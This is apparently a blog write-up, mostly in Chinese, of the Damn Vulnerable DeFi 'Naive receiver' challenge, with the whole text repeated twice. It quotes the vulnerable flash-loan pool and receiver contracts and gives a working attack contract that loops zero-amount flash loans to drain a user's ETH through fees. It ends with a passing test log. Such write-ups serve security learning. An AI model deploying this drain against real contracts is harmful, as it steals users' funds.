web3maxi
web3maxi
Share Dialog
Share Dialog
Subscribe to Runstar
Subscribe to Runstar
<100 subscribers
<100 subscribers
There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)
目标: 耗尽用户合约中的所有ETH
after(async function () {
/** SUCCESS CONDITIONS */
// All ETH has been drained from the receiver
expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal("0");
expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(
ETHER_IN_POOL.add(ETHER_IN_RECEIVER),
);
});
NaiveReceiverLenderPool.sol 闪电贷池合约,每次手续费为1eth
flashLoan 函数
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
borrowAmount
);
require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}
check 闪电贷前余额大于借款金额
check 借款地址为合约地址
向借款地址发送借款金额并调用receiveEther 闪电贷回退函数传入手续费
check 闪电贷后金额大于等于闪电贷前余额加手续费
FlashLoanReceiver.sol 用户部署的闪电贷接收合约 receiveEther 被闪电贷触发的函数
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");
uint256 amountToBeRepaid = msg.value + fee;
require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
_executeActionDuringFlashLoan();
// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
check 调用者来自闪电贷池
check 有足够的钱还款
执行闪电贷套利操作
还款至闪电贷池
flashLoan 函数未检验调用者是否为借款合约地址的拥有者, 因此任何人都可以向任意合约地址发起闪电贷
直接向用户部署的闪电贷接收合约发起闪电贷, 借款0eth, 每次闪电贷将消耗用户1eth作为手续费, while循环直到用户合约余额耗尽.
interface INaiveReceiverLenderPool {
function flashLoan(address borrower, uint256 borrowAmount) external;
}
contract NaiveReceiverAttack {
constructor(address _pool, address _receiver) {
INaiveReceiverLenderPool pool = INaiveReceiverLenderPool(_pool);
while (_receiver.balance > 0) {
pool.flashLoan(_receiver, 0);
}
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const ExploitFactory = await ethers.getContractFactory("NaiveReceiverAttack", attacker);
// Run Exploit constructor.
await ExploitFactory.deploy(this.pool.address, this.receiver.address);
});
运行通过
❯ yarn run naive-receiver
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/naive-receiver/naive-receiver.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/naive-receiver/naive-receiver.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Naive receiver
✓ Exploit (1286ms)
1 passing (3s)
Done in 6.06s.
**Twitter: @0xRunstar
There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)
目标: 耗尽用户合约中的所有ETH
after(async function () {
/** SUCCESS CONDITIONS */
// All ETH has been drained from the receiver
expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal("0");
expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(
ETHER_IN_POOL.add(ETHER_IN_RECEIVER),
);
});
NaiveReceiverLenderPool.sol 闪电贷池合约,每次手续费为1eth
flashLoan 函数
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
borrowAmount
);
require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}
check 闪电贷前余额大于借款金额
check 借款地址为合约地址
向借款地址发送借款金额并调用receiveEther 闪电贷回退函数传入手续费
check 闪电贷后金额大于等于闪电贷前余额加手续费
FlashLoanReceiver.sol 用户部署的闪电贷接收合约 receiveEther 被闪电贷触发的函数
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");
uint256 amountToBeRepaid = msg.value + fee;
require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
_executeActionDuringFlashLoan();
// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
check 调用者来自闪电贷池
check 有足够的钱还款
执行闪电贷套利操作
还款至闪电贷池
flashLoan 函数未检验调用者是否为借款合约地址的拥有者, 因此任何人都可以向任意合约地址发起闪电贷
直接向用户部署的闪电贷接收合约发起闪电贷, 借款0eth, 每次闪电贷将消耗用户1eth作为手续费, while循环直到用户合约余额耗尽.
interface INaiveReceiverLenderPool {
function flashLoan(address borrower, uint256 borrowAmount) external;
}
contract NaiveReceiverAttack {
constructor(address _pool, address _receiver) {
INaiveReceiverLenderPool pool = INaiveReceiverLenderPool(_pool);
while (_receiver.balance > 0) {
pool.flashLoan(_receiver, 0);
}
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const ExploitFactory = await ethers.getContractFactory("NaiveReceiverAttack", attacker);
// Run Exploit constructor.
await ExploitFactory.deploy(this.pool.address, this.receiver.address);
});
运行通过
❯ yarn run naive-receiver
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/naive-receiver/naive-receiver.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/naive-receiver/naive-receiver.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Naive receiver
✓ Exploit (1286ms)
1 passing (3s)
Done in 6.06s.
**Twitter: @0xRunstar
No activity yet